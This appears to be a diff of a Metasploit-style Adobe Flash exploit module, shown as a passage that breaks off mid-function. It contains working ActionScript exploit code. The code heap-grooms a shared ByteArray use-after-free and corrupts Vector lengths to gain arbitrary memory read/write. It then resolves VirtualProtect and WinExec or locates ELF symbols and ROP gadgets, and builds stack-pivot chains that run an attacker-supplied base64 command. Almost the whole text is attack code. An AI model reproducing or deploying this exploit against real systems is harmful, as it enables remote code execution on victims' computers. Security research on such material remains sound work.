|
||||
eba.write(0, "\xbb", false); eba.write(0, main, false) // mov ebx, main
|
||||
eba.write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
// 2) Recover original stack
|
||||
eba.write(0, "\x87\xf4\xc3", false) // xchg esp, esi
|
||||
|
||||
// my_memcpy
|
||||
eba.write(buffer + 0x60, "\x56", false) // push esi
|
||||
eba.write(0, "\x57", false) // push edi
|
||||
eba.write(0, "\x51", false) // push ecx
|
||||
eba.write(0, "\x8B\x7C\x24\x10", false) // mov edi,[esp+0x10]
|
||||
eba.write(0, "\x8B\x74\x24\x14", false) // mov esi,[esp+0x14]
|
||||
eba.write(0, "\x8B\x4C\x24\x18", false) // mov ecx,[esp+0x18]
|
||||
eba.write(0, "\xF3\xA4", false) // rep movsb
|
||||
eba.write(0, "\x59", false) // pop ecx
|
||||
eba.write(0, "\x5f", false) // pop edi
|
||||
eba.write(0, "\x5e", false) // pop esi
|
||||
eba.write(0, "\xc3", false) // ret
|
||||
|
||||
// Put the popen parameters in memory
|
||||
eba.write(payload_address + 0x8, payload, true) // false
|
||||
|
||||
// Put the fake stack/vtable on memory
|
||||
eba.write(stack_address + 0x18024, xchgeaxespret) // Initial gadget, stackpivot
|
||||
eba.write(stack_address + 0x18000, xchgeaxesiret) // Save original stack on esi
|
||||
eba.write(0, addesp2cret) //second pivot to preserver stack_address + 0x18024
|
||||
|
||||
// Return to mprotect()
|
||||
eba.write(stack_address + 0x18034, mprotect)
|
||||
// Return to stackpivot (jmp over mprotect parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mprotect() arguments
|
||||
eba.write(0, buffer) // addr
|
||||
eba.write(0, 0x1000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x18068, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() code segment arguments
|
||||
eba.write(0, 0x70000000) // 0x70000000
|
||||
eba.write(0, 0x4000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, 0xffffffff) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to mmap()
|
||||
eba.write(stack_address + 0x1809c, mmap)
|
||||
// Return to stackpivot (jmp over mmap parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// mmap() stack segment arguments
|
||||
eba.write(0, 0x70008000) // NULL
|
||||
eba.write(0, 0x10000) // size
|
||||
eba.write(0, 0x7) // PROT_READ | PROT_WRITE | PROT_EXEC
|
||||
eba.write(0, 0x22) // MAP_PRIVATE | MAP_ANONYMOUS
|
||||
eba.write(0, -1) // filedes
|
||||
eba.write(0, 0) // offset
|
||||
|
||||
// Return to memcpy()
|
||||
eba.write(stack_address + 0x180d0, buffer + 0x60)
|
||||
// Return to stackpivot (jmp over memcpy parameters)
|
||||
eba.write(0, addesp2cret)
|
||||
// memcpy() parameters
|
||||
eba.write(0, 0x70000000)
|
||||
eba.write(0, payload_address + 0x8)
|
||||
eba.write(0, payload.length)
|
||||
|
||||
// Return to clone()
|
||||
eba.write(stack_address + 0x18104, clone)
|
||||
// Return to CoE (fix stack and object vtable)
|
||||
eba.write(0, buffer + 0x10)
|
||||
// clone() arguments
|
||||
eba.write(0, 0x70000000) // code
|
||||
eba.write(0, 0x7000bff0) // stack
|
||||
eba.write(0, 0x00000100) // flags CLONE_VM
|
||||
eba.write(0, 0) // args
|
||||
|
||||
//call DWORD PTR [eax+0x24]
|
||||
//EAX: 0x41414141 ('AAAA')
|
||||
//EDI: 0xad857088 ("AAAA\377")
|
||||
eba.write(main, stack_address + 0x18000)
|
||||
exploit.hasOwnProperty('msf')
|
||||
}
|
||||
|
||||
private function cleanup():void
|
||||
{
|
||||
Logger.log("[*] Exploiter - cleanup()")
|
||||
spray = null
|
||||
stack = null
|
||||
payload_space = null
|
||||
eba = null
|
||||
ev = null
|
||||
exploit = null
|
||||
System.pauseForGCIfCollectionImminent(0)
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,32 @@
|
|||
package
|
||||
{
|
||||
import flash.external.ExternalInterface
|
||||
|
||||
public class Logger {
|
||||
private static const DEBUG:uint = 0
|
||||
|
||||
public static function alert(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("alert", str);
|
||||
}
|
||||
}
|
||||
|
||||
public static function log(msg:String):void
|
||||
{
|
||||
var str:String = "";
|
||||
|
||||
if (DEBUG == 1)
|
||||
str += msg;
|
||||
|
||||
if(ExternalInterface.available){
|
||||
ExternalInterface.call("console.log", str);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
|
@ -1,502 +0,0 @@
|
|||
// Build how to:
|
||||
// 1. Download the AIRSDK, and use its compiler.
|
||||
// 2. Download the Flex SDK (4.6)
|
||||
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
|
||||
// (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
|
||||
// 4. Build with: mxmlc -o msf.swf Main.as
|
||||
|
||||
// It uses original code from @hdarwin89 for exploitation using ba's and vectors
|
||||
|
||||
package
|
||||
{
|
||||
import flash.utils.*
|
||||
import flash.display.*
|
||||
import flash.system.*
|
||||
import mx.utils.Base64Decoder
|
||||
|
||||
public final class Msf extends Sprite {
|
||||
|
||||
private var shared_ba:ByteArray = null
|
||||
|
||||
private var hole_ba:ByteArray = null;
|
||||
private var confuse_length_ba:ByteArray = null;
|
||||
private var fake_ba:ByteArray = null;
|
||||
private var worker:Worker = null;
|
||||
|
||||
private var byte_array_vector:Vector.<Object> = null;
|
||||
private var byte_array_vector_length:int;
|
||||
|
||||
private var object_vector:Vector.<Object> = null;
|
||||
private var object_vector_length:uint;
|
||||
|
||||
private var ba:ByteArray
|
||||
private var uv:Vector.<uint>
|
||||
private var corrupted_uv_index:uint = 0
|
||||
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
|
||||
|
||||
private var b64:Base64Decoder = new Base64Decoder();
|
||||
private var payload:String = ""
|
||||
|
||||
public function Msf() {
|
||||
this.object_vector_length = 5770 * 2
|
||||
this.byte_array_vector_length = 510 * 2
|
||||
|
||||
b64.decode(LoaderInfo(this.root.loaderInfo).parameters.sh)
|
||||
payload = b64.toByteArray().toString();
|
||||
|
||||
this.initialize_worker_and_ba()
|
||||
if (!this.trigger())
|
||||
{
|
||||
return
|
||||
}
|
||||
|
||||
var index:uint = search_uint_vector(114, 0x40000000)
|
||||
if (index == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
|
||||
this.uv = this.object_vector[this.corrupted_uv_index]
|
||||
|
||||
// Use the corrupted Vector<uint> to search saved addresses
|
||||
var object_vector_pos:uint = search_object_vector()
|
||||
var byte_array_object:uint = this.uv[object_vector_pos] - 1
|
||||
var main:uint = this.uv[object_vector_pos + 2] - 1
|
||||
var stack_object:uint = this.uv[object_vector_pos + 3] - 1
|
||||
var payload_space_object:uint = this.uv[object_vector_pos + 4] - 1
|
||||
|
||||
// Locate the corrupted Vector<uint> in memory
|
||||
// It allows arbitrary address memory read/write
|
||||
var ba_address:uint = search_ba_address()
|
||||
if (ba_address == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
var uv_address:uint = ba_address + index
|
||||
this.uv[0] = uv_address
|
||||
|
||||
// Use the corrupted Vector<uint> to disclose arbitrary memory
|
||||
var buffer_object:uint = vector_read(byte_array_object + 0x40)
|
||||
var buffer:uint = vector_read(buffer_object + 8)
|
||||
var stack_address:uint = vector_read(stack_object + 0x18)
|
||||
var payload_address:uint = vector_read(payload_space_object + 0x18)
|
||||
var vtable:uint = vector_read(main)
|
||||
|
||||
// Set the new ByteArray length
|
||||
ba.endian = "littleEndian"
|
||||
ba.length = 0x500000
|
||||
|
||||
// Overwite the ByteArray data pointer and capacity
|
||||
var ba_array:uint = buffer_object + 8
|
||||
var ba_capacity:uint = buffer_object + 16
|
||||
vector_write(ba_array)
|
||||
vector_write(ba_capacity, 0xffffffff)
|
||||
|
||||
// restoring the corrupted vector length since we don't need it
|
||||
// anymore
|
||||
this.uv[0] = 0xfeedbabe
|
||||
//index = search_uint_vector(0xffffffff, 114)
|
||||
index = search_uint_vector(0x40000000, 114)
|
||||
if (index == 0xffffffff) {
|
||||
return
|
||||
}
|
||||
|
||||
var flash:uint = base(vtable)
|
||||
var winmm:uint = module("winmm.dll", flash)
|
||||
var kernel32:uint = module("kernel32.dll", winmm)
|
||||
var virtualprotect:uint = procedure("VirtualProtect", kernel32)
|
||||
var winexec:uint = procedure("WinExec", kernel32)
|
||||
var xchgeaxespret:uint = gadget("c394", 0x0000ffff, flash)
|
||||
var xchgeaxesiret:uint = gadget("c396", 0x0000ffff, flash)
|
||||
|
||||
// Continuation of execution
|
||||
byte_write(buffer + 0x10, "\xb8", false); byte_write(0, vtable, false) // mov eax, vtable
|
||||
byte_write(0, "\xbb", false); byte_write(0, main, false) // mov ebx, main
|
||||
byte_write(0, "\x89\x03", false) // mov [ebx], eax
|
||||
byte_write(0, "\x87\xf4\xc3", false) // xchg esp, esi # ret
|
||||
|
||||
// Put the payload (command) in memory
|
||||
byte_write(payload_address + 8, payload, true); // payload
|
||||
|
||||
// Put the fake vtabe / stack on memory
|
||||
byte_write(stack_address + 0x18070, xchgeaxespret) // Initial gadget (stackpivot); from @hdarwin89 sploits, kept for reliability...
|
||||
byte_write(stack_address + 0x180a4, xchgeaxespret) // Initial gadget (stackpivot); call dword ptr [eax+0A4h]
|
||||
byte_write(stack_address + 0x18000, xchgeaxesiret) // fake vtable; also address will become stack after stackpivot
|
||||
byte_write(0, virtualprotect)
|
||||
|
||||
// VirtualProtect
|
||||
byte_write(0, winexec)
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, 0x1000)
|
||||
byte_write(0, 0x40)
|
||||
byte_write(0, buffer + 0x8) // Writable address (4 bytes)
|
||||
|
||||
// WinExec
|
||||
byte_write(0, buffer + 0x10)
|
||||
byte_write(0, payload_address + 8)
|
||||
byte_write(0)
|
||||
|
||||
byte_write(main, stack_address + 0x18000) // overwrite with fake vtable
|
||||
|
||||
toString() // call method in the fake vtable
|
||||
}
|
||||
|
||||
final private function initialize_worker_and_ba():Boolean{
|
||||
this.ba = new ByteArray()
|
||||
this.ba.endian = "littleEndian"
|
||||
this.ba.length = 1024
|
||||
this.ba.writeUnsignedInt(0xdeedbeef)
|
||||
this.ba.position = 0
|
||||
|
||||
this.shared_ba = new ByteArray()
|
||||
this.shared_ba.shareable = true
|
||||
this.shared_ba.endian = Endian.LITTLE_ENDIAN
|
||||
this.shared_ba.writeUnsignedInt(252536)
|
||||
this.shared_ba.writeUnsignedInt(16777216)
|
||||
|
||||
this.confuse_length_ba = new ByteArray()
|
||||
this.confuse_length_ba.length = 0x2000
|
||||
this.confuse_length_ba.endian = Endian.LITTLE_ENDIAN
|
||||
this.fill_byte_array(this.confuse_length_ba, 0xAAAAAAAA)
|
||||
|
||||
this.fake_ba = new ByteArray();
|
||||
this.fake_ba.endian = Endian.LITTLE_ENDIAN;
|
||||
|
||||
this.worker = WorkerDomain.current.createWorker(loaderInfo.bytes);
|
||||
return true;
|
||||
}
|
||||
|
||||
final private function trigger():Boolean{
|
||||
// Memory massaging
|
||||
// 1. Create ByteArray's of 0x2000 lenght and mark one of them (hole_ba)
|
||||
this.fill_byte_array_vector();
|
||||
// 2. Clear the marked ByteArray
|
||||
this.hole_ba.clear();
|
||||
|
||||
// The shared_ba should be left in "shared" state
|
||||
this.worker.setSharedProperty("fnfre", this.shared_ba)
|
||||
this.worker.setSharedProperty("vfhrth", this.confuse_length_ba)
|
||||
this.worker.setSharedProperty("vfhrth", this.shared_ba)
|
||||
|
||||
// fake_ba *data* is going to fill the space freed from the hole
|
||||
this.fake_ba.length = 0x2000;
|
||||
this.fill_byte_array(this.fake_ba, 0xBBBBBBBB);
|
||||
|
||||
// Trigger the vulnerability, if the memory layout is good enough
|
||||
// the (freed) hole_ba metadata will end being the shared_ba metadata...
|
||||
this.shared_ba.uncompress()
|
||||
|
||||
// So its size should be 0x2000
|
||||
if (this.shared_ba.length != 0x2000)
|
||||
{
|
||||
return false
|
||||
}
|
||||
|
||||
// Free the fake_ba and make holes on the ByteArray's
|
||||
// allocated on massaging.
|
||||
this.free_fake_and_make_holes()
|
||||
|
||||
// Fill the holes and the fake_ba data space with
|
||||
// <uint> vectors
|
||||
this.fill_with_vectors()
|
||||
|
||||
// Hopefully the shared_ba metadata, product of the vulnerability
|
||||
// at this moment point to the <uint> vectors in memory =) it means
|
||||
// game over.
|
||||
var pwn_test:uint;
|
||||
this.shared_ba.position = 0;
|
||||
pwn_test = this.shared_ba.readUnsignedInt();
|
||||
|
||||
if (pwn_test == 0xBBBBBBBB)
|
||||
{
|
||||
return false
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
final private function fill_byte_array(local_ba:ByteArray, value:int):void{
|
||||
var i:int;
|
||||
local_ba.position = 0;
|
||||
i = 0;
|
||||
while (i < (local_ba.length / 4))
|
||||
{
|
||||
local_ba.writeInt(value);
|
||||
i++;
|
||||
};
|
||||
local_ba.position = 0;
|
||||
}
|
||||
|
||||
final private function fill_byte_array_vector():void{
|
||||
var i:int;
|
||||
var local_ba:ByteArray;
|
||||
this.byte_array_vector = new Vector.<Object>(this.byte_array_vector_length)
|
||||
|
||||
i = 0;
|
||||
|
||||
while (i < this.byte_array_vector_length)
|
||||
{
|
||||
local_ba = new ByteArray();
|
||||
this.byte_array_vector[i] = local_ba;
|
||||
local_ba.endian = Endian.LITTLE_ENDIAN;
|
||||
i++;
|
||||
}
|
||||
|
||||
var hole_index:int = this.byte_array_vector_length * 4 / 5;
|
||||
if (hole_index % 2 == 0)
|
||||
{
|
||||
hole_index++;
|
||||
}
|
||||
|
||||
for(i = 0; i < this.byte_array_vector_length; i++)
|
||||
{
|
||||
local_ba = this.byte_array_vector[i] as ByteArray
|
||||
local_ba.length = 0x2000
|
||||
this.fill_byte_array(local_ba, 0xCCCCCCCC)
|
||||
local_ba.writeInt(0xbabefac0)
|
||||
local_ba.writeInt(0xbabefac1)
|
||||
local_ba.writeInt(i)
|
||||
local_ba.writeInt(0xbabefac3)
|
||||
if (i == hole_index)
|
||||
{
|
||||
this.hole_ba = local_ba;
|
||||
}
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
final private function free_fake_and_make_holes():void {
|
||||
var i:int
|
||||
var clear_ba:ByteArray
|
||||
var hole_index:int = this.byte_array_vector_length * 4 / 5
|
||||
|
||||
if (hole_index % 2 == 0)
|
||||
{
|
||||
hole_index++;
|
||||
}
|
||||
|
||||
for (i = 0; i < this.byte_array_vector_length; i++)
|
||||
{
|
||||
if (i == hole_index) {
|
||||
this.fake_ba.clear();
|
||||
} else {
|
||||
if (i % 2 == 1)
|
||||
{
|
||||
clear_ba = this.byte_array_vector[i] as ByteArray
|
||||
this.fill_byte_array(clear_ba, 0xDDDDDDDD)
|
||||
clear_ba.clear()
|
||||
}
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
final private function fill_with_vectors():void {
|
||||
var i:uint;
|
||||
var uint_vector:Vector.<uint>;
|
||||
var objects:Vector.<Object>;
|
||||
this.object_vector = new Vector.<Object>(this.object_vector_length);
|
||||
|
||||
i = 0
|
||||
while (i < this.object_vector_length)
|
||||
{
|
||||
if (i % 2 == 0) {
|
||||
this.object_vector[i] = new Vector.<uint>()
|
||||
} else {
|
||||
this.object_vector[i] = new Vector.<Object>()
|
||||
}
|
||||
i++
|
||||
}
|
||||
|
||||
i = 0
|
||||
while (i < this.object_vector_length)
|
||||
{
|
||||
if (i % 2 == 0) {
|
||||
uint_vector = this.object_vector[i] as Vector.<uint>
|
||||
uint_vector.length = 114
|
||||
uint_vector[0] = 0xfeedbabe
|
||||
uint_vector[1] = i
|
||||
uint_vector[2] = 0xbabeface
|
||||
} else {
|
||||
objects = this.object_vector[i] as Vector.<Object>
|
||||
objects.length = 114
|
||||
objects[0] = this.ba
|
||||
objects[1] = i
|
||||
objects[2] = this
|
||||
objects[3] = this.stack
|
||||
objects[4] = this.payload_space
|
||||
}
|
||||
i++
|
||||
}
|
||||
}
|
||||
|
||||
// Use the corrupted shared_ba to search and corrupt the uint vector
|
||||
// Returns the offset to the *length* of the corrupted vector
|
||||
private function search_uint_vector(old_length:uint, new_length:uint):uint {
|
||||
this.shared_ba.position = 0
|
||||
var i:uint = 0
|
||||
var length:uint = 0
|
||||
var atom:uint = 0
|
||||
var mark_one:uint = 0
|
||||
var index:uint = 0
|
||||
var mark_two:uint = 0
|
||||
while (i < 0x2000) {
|
||||
length = shared_ba.readUnsignedInt()
|
||||
if (length == old_length) {
|
||||
atom = shared_ba.readUnsignedInt()
|
||||
mark_one = shared_ba.readUnsignedInt()
|
||||
index = shared_ba.readUnsignedInt()
|
||||
mark_two = shared_ba.readUnsignedInt()
|
||||
if (mark_one == 0xfeedbabe && mark_two == 0xbabeface) {
|
||||
shared_ba.position = i
|
||||
shared_ba.writeUnsignedInt(new_length)
|
||||
this.corrupted_uv_index = index
|
||||
return i;
|
||||
}
|
||||
i = i + 16
|
||||
}
|
||||
i = i + 4
|
||||
}
|
||||
return 0xffffffff
|
||||
}
|
||||
|
||||
// Use the corrupted shared_ba to disclose its own address
|
||||
private function search_ba_address():uint {
|
||||
var address:uint = 0
|
||||
this.shared_ba.position = 0x14
|
||||
address = shared_ba.readUnsignedInt()
|
||||
if (address == 0) {
|
||||
address = 0xffffffff
|
||||
this.shared_ba.position = 8
|
||||
var next:uint = shared_ba.readUnsignedInt()
|
||||
var prior:uint = shared_ba.readUnsignedInt()
|
||||
if (next - prior == 0x8000) {
|
||||
address = prior + 0x4000
|
||||
}
|
||||
} else {
|
||||
address = address - 0x30
|
||||
}
|
||||
|
||||
return address
|
||||
}
|
||||
|
||||
// Use the corrupted uint vector to search an vector with
|
||||
// interesting objects for info leaking
|
||||
private function search_object_vector():uint {
|
||||
var i:uint = 0;
|
||||
while (i < 0x4000){
|
||||
if (this.uv[i] == 114 && this.uv[i + 2] != 0xfeedbabe) {
|
||||
return i + 1;
|
||||
}
|
||||
i++
|
||||
}
|
||||
return 0xffffffff
|
||||
}
|
||||
|
||||
// Methods to use the corrupted uint vector
|
||||
|
||||
private function vector_write(addr:uint, value:uint = 0):void
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > this.uv[0]) {
|
||||
pos = ((addr - this.uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
this.uv[pos] = value
|
||||
}
|
||||
|
||||
private function vector_read(addr:uint):uint
|
||||
{
|
||||
var pos:uint = 0
|
||||
|
||||
if (addr > this.uv[0]) {
|
||||
pos = ((addr - this.uv[0]) / 4) - 2
|
||||
} else {
|
||||
pos = ((0xffffffff - (this.uv[0] - addr)) / 4) - 1
|
||||
}
|
||||
|
||||
return this.uv[pos]
|
||||
}
|
||||
|
||||
// Methods to use the corrupted byte array for arbitrary reading/writing
|
||||
|
||||
private function byte_write(addr:uint, value:* = 0, zero:Boolean = true):void
|
||||
{
|
||||
if (addr) ba.position = addr
|
||||
if (value is String) {
|
||||
for (var i:uint; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
|
||||
if (zero) ba.writeByte(0)
|
||||
} else ba.writeUnsignedInt(value)
|
||||
}
|
||||
|
||||
private function byte_read(addr:uint, type:String = "dword"):uint
|
||||
{
|
||||
ba.position = addr
|
||||
switch(type) {
|
||||
case "dword":
|
||||
return ba.readUnsignedInt()
|
||||
case "word":
|
||||
return ba.readUnsignedShort()
|
||||
case "byte":
|
||||
return ba.readUnsignedByte()
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// Methods to search the memory with the corrupted byte array
|
||||
|
||||
private function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (byte_read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
private function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x80)
|
||||
var i:int = -1
|
||||
while (true) {
|
||||
var entry:uint = byte_read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
ba.position = addr + entry
|
||||
var dll_name:String = ba.readUTFBytes(name.length).toUpperCase();
|
||||
if (dll_name == name.toUpperCase()) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
return base(byte_read(addr + byte_read(iat + i * 0x14 + 16)));
|
||||
}
|
||||
|
||||
private function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + byte_read(addr + byte_read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = byte_read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + byte_read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + byte_read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + byte_read(eat + 0x24)
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = byte_read(addressOfNames + i * 4)
|
||||
ba.position = addr + entry
|
||||
if (ba.readUTFBytes(name.length+2).toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + byte_read(addressOfFunctions + byte_read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
private function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var limit:uint = byte_read(addr + byte_read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
for (var i:uint = 0; i < limit - 4; i++) if (value == (byte_read(addr + i) & hint)) break
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,72 @@
|
|||
package
|
||||
{
|
||||
public class PE
|
||||
{
|
||||
private var eba:ExploitByteArray
|
||||
|
||||
public function PE(ba:ExploitByteArray)
|
||||
{
|
||||
eba = ba
|
||||
}
|
||||
|
||||
public function base(addr:uint):uint
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (eba.read(addr) == 0x00905a4d) return addr
|
||||
addr -= 0x10000
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
public function module(name:String, addr:uint):uint
|
||||
{
|
||||
var iat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x80), i:int = -1
|
||||
var mod_name:String
|
||||
|
||||
while (true) {
|
||||
var entry:uint = eba.read(iat + (++i) * 0x14 + 12)
|
||||
if (!entry) throw new Error("FAIL!");
|
||||
mod_name = eba.read_string(addr + entry, name.length)
|
||||
if (mod_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return base(eba.read(addr + eba.read(iat + i * 0x14 + 16)))
|
||||
}
|
||||
|
||||
public function procedure(name:String, addr:uint):uint
|
||||
{
|
||||
var eat:uint = addr + eba.read(addr + eba.read(addr + 0x3c) + 0x78)
|
||||
var numberOfNames:uint = eba.read(eat + 0x18)
|
||||
var addressOfFunctions:uint = addr + eba.read(eat + 0x1c)
|
||||
var addressOfNames:uint = addr + eba.read(eat + 0x20)
|
||||
var addressOfNameOrdinals:uint = addr + eba.read(eat + 0x24)
|
||||
var proc_name:String
|
||||
|
||||
for (var i:uint = 0; ; i++) {
|
||||
var entry:uint = eba.read(addressOfNames + i * 4)
|
||||
proc_name = eba.read_string(addr + entry, name.length + 2)
|
||||
if (proc_name.toUpperCase() == name.toUpperCase()) break
|
||||
}
|
||||
return addr + eba.read(addressOfFunctions + eba.read(addressOfNameOrdinals + i * 2, "word") * 4)
|
||||
}
|
||||
|
||||
public function gadget(gadget:String, hint:uint, addr:uint):uint
|
||||
{
|
||||
var find:uint = 0
|
||||
var contents:uint = 0
|
||||
var limit:uint = eba.read(addr + eba.read(addr + 0x3c) + 0x50)
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
|
||||
for (var i:uint = 0; i < limit - 4; i++) {
|
||||
contents = eba.read(addr + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return addr + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return addr + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,235 @@
|
|||
package
|
||||
{
|
||||
public class Elf
|
||||
{
|
||||
private const PT_DYNAMIC:uint = 2
|
||||
private const PT_LOAD:uint = 1
|
||||
private const PT_READ_EXEC:uint = 5
|
||||
private const DT_SYMTAB:uint = 6
|
||||
private const DT_STRTAB:uint = 5
|
||||
private const DT_PLTGOT:uint = 3
|
||||
|
||||
private var e_ba:ExploitByteArray
|
||||
// elf base address
|
||||
public var base:uint = 0
|
||||
// program header address
|
||||
public var ph:uint = 0
|
||||
// number of program headers
|
||||
public var ph_size:uint = 0
|
||||
// program header entry size
|
||||
public var ph_esize:uint = 0
|
||||
// DYNAMIC segment address
|
||||
public var seg_dynamic:uint = 0
|
||||
// DYNAMIC segment size
|
||||
public var seg_dynamic_size:uint = 0
|
||||
// CODE segment address
|
||||
public var seg_exec:uint = 0
|
||||
// CODE segment size
|
||||
public var seg_exec_size:uint = 0
|
||||
// .dynsyn section address
|
||||
public var sec_dynsym:uint = 0
|
||||
// .synstr section address
|
||||
public var sec_dynstr:uint = 0
|
||||
// .got.plt section address
|
||||
public var sec_got_plt:uint = 0
|
||||
|
||||
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||
{
|
||||
e_ba = ba
|
||||
set_base(addr)
|
||||
set_program_header()
|
||||
set_program_header_size()
|
||||
set_program_header_entry_size()
|
||||
set_dynamic_segment()
|
||||
set_exec_segment()
|
||||
set_dynsym()
|
||||
set_dynstr()
|
||||
set_got_plt()
|
||||
}
|
||||
|
||||
public function external_symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
var got_plt_index:uint = 0
|
||||
|
||||
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||
}
|
||||
if (st_info != 0x11) {
|
||||
got_plt_index++
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
public function symbol(name:String):uint {
|
||||
var entry:uint = 0
|
||||
var st_name:uint = 0
|
||||
var st_value:uint = 0
|
||||
var st_size:uint = 0
|
||||
var st_info:uint = 0
|
||||
var st_other:uint = 0
|
||||
var st_shndx:uint = 0
|
||||
var st_string:String = ""
|
||||
|
||||
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||
st_name = e_ba.read(entry)
|
||||
st_value = e_ba.read(entry + 4)
|
||||
st_info = e_ba.read(entry + 0xc, "byte")
|
||||
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||
if (st_string == name) {
|
||||
return base + st_value
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
|
||||
public function gadget(gadget:String, hint:uint):uint
|
||||
{
|
||||
var value:uint = parseInt(gadget, 16)
|
||||
var contents:uint = 0
|
||||
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||
contents = e_ba.read(seg_exec + i)
|
||||
if (hint == 0xffffffff && value == contents) {
|
||||
return seg_exec + i
|
||||
}
|
||||
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||
return seg_exec + i
|
||||
}
|
||||
}
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_base(addr:uint):void
|
||||
{
|
||||
addr &= 0xffff0000
|
||||
while (true) {
|
||||
if (e_ba.read(addr) == 0x464c457f) {
|
||||
base = addr
|
||||
return
|
||||
}
|
||||
addr -= 0x1000
|
||||
}
|
||||
|
||||
throw new Error()
|
||||
}
|
||||
|
||||
private function set_program_header():void
|
||||
{
|
||||
ph = base + e_ba.read(base + 0x1c)
|
||||
}
|
||||
|
||||
private function set_program_header_size():void
|
||||
{
|
||||
ph_size = e_ba.read(base + 0x2c, "word")
|
||||
}
|
||||
|
||||
private function set_program_header_entry_size():void
|
||||
{
|
||||
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||
}
|
||||
|
||||
private function set_dynamic_segment():void
|
||||
{
|
||||
var entry:uint = 0
|
||||
var p_type:uint = 0
|
||||
|
||||
for (var i:uint = 0; i < ph_size; i++) {
|
||||
entry = ph + (i * ph_esize)
|
||||
p_type = e_ba.read(entry)
|
||||
if (p_type == PT_DYNAMIC) {
|
||||
seg_dynamic = base + e_ba.read(entry + 8)
|
||||
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||
return
|
||||
